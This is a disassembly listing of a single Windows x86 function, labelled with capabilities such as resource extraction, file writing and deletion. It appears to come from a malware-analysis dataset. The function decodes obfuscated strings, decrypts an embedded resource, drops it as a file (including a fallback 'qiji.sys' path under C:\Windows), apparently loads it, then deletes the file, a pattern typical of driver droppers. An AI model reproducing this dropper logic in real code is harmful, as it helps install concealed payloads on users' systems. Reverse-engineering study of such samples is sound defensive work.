Function at 0x461ad0
Capabilities:
Delete file
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x280
mov eax, dword [0x494494]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x238], 0x8c
mov byte [ebp - 0x237], 0x8e
mov byte [ebp - 0x236], 0x8b
mov byte [ebp - 0x235], 0x8b
mov byte [ebp - 0x234], 0x8e
mov byte [ebp - 0x233], 0x94
mov byte [ebp - 0x232], 0xc7
mov byte [ebp - 0xc], 0x8c
mov byte [ebp - 0xb], 0x8e
mov byte [ebp - 0xa], 0x8b
mov byte [ebp - 9], 0x8b
mov byte [ebp - 8], 0x8e
mov byte [ebp - 7], 0x94
mov byte [ebp - 6], 0xc7
mov byte [ebp - 0x24c], 0x9b
mov byte [ebp - 0x24b], 0x9b
mov byte [ebp - 0x24a], 0xe9
mov byte [ebp - 0x249], 0x9b
mov byte [ebp - 0x248], 0x8c
mov byte [ebp - 0x247], 0x8e
mov byte [ebp - 0x246], 0x8b
mov byte [ebp - 0x245], 0x8b
mov byte [ebp - 0x244], 0x8e
mov byte [ebp - 0x243], 0x94
mov byte [ebp - 0x242], 0xc7
push 1
lea eax, [ebp - 0x238]
push eax
call fcn.00461000
add esp, 8
push 1
lea ecx, [ebp - 0xc]
push ecx
call fcn.00461000
add esp, 8
push 1
lea edx, [ebp - 0x24c]
push edx
call fcn.00461000
add esp, 8
lea eax, [ebp - 0x24c]
push eax
mov ecx, 0x4bc680
call fcn.00476b50
test eax, eax
je 0x461bcc
mov eax, 1
jmp 0x461e53
push 0x104
push 0
lea ecx, [ebp - 0x230]
push ecx
call fcn.004067d0
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x230]
push edx
call fcn.004067d0
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x240], 0x104
jae 0x461c65
cmp dword [ebp - 0x240], 0
je 0x461c65
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004071f1
add esp, 4
lea ecx, [ebp - 0x128]
push ecx
call fcn.00407203
push eax
push 0x4870bc
lea edx, [ebp - 0x230]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jbe 0x461c65
mov dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0
jne 0x461c7f
push str.C:Windowsqiji.sys
lea eax, [ebp - 0x128]
push eax
call fcn.004064d0
add esp, 8
push 0
push 6
push 4
push 0
push 0
push 0xc0000000
lea ecx, [ebp - 0x128]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x461cab
xor eax, eax
jmp 0x461e53
push 0x4870d4
movzx edx, word [ebp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x10], 0
je 0x461e3a
cmp dword [ebp - 0x14], 0
je 0x461e3a
cmp dword [ebp - 0x23c], 0
je 0x461e3a
mov dword [ebp - 0x258], 0
lea edx, [ebp - 0x258]
push edx
push 0x49a3f8
mov eax, dword [ebp - 0x10]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
mov ecx, dword [ebp - 0x23c]
push ecx
call fcn.00461060
add esp, 0x10
mov dword [ebp - 0x254], eax
push 0
lea edx, [ebp - 0x250]
push edx
mov eax, dword [ebp - 0x254]
push eax
mov ecx, dword [ebp - 0x258]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov ecx, dword [ebp - 0x258]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0x25c], 1
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x238]
push eax
lea ecx, [ebp - 0x128]
push ecx
mov ecx, 0x4bc680
call fcn.00476db0
mov ecx, 0x4bc680
call fcn.00476c10
test eax, eax
jne 0x461dc6
mov edx, dword [0x4bc680]
push edx
push 0x4870dc
lea eax, [ebp - 0x268]
push eax
call fcn.00406065
add esp, 0xc
mov ecx, 0x4bc680
call fcn.00476bc0
test eax, eax
jne 0x461def
mov ecx, dword [0x4bc680]
push ecx
push 0x4870e4
lea edx, [ebp - 0x274]
push edx
call fcn.00406065
add esp, 0xc
lea eax, [ebp - 0x24c]
push eax
mov ecx, 0x4bc680
call fcn.00476b50
test eax, eax
jne 0x461e1f
mov ecx, dword [0x4bc680]
push ecx
push str.0x_X
lea edx, [ebp - 0x280]
push edx
call fcn.00406065
add esp, 0xc
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
cmp dword [0x4bc990], 0xffffffff
setne al
jmp 0x461e53
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x128]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405ce8
mov esp, ebp
pop ebp
ret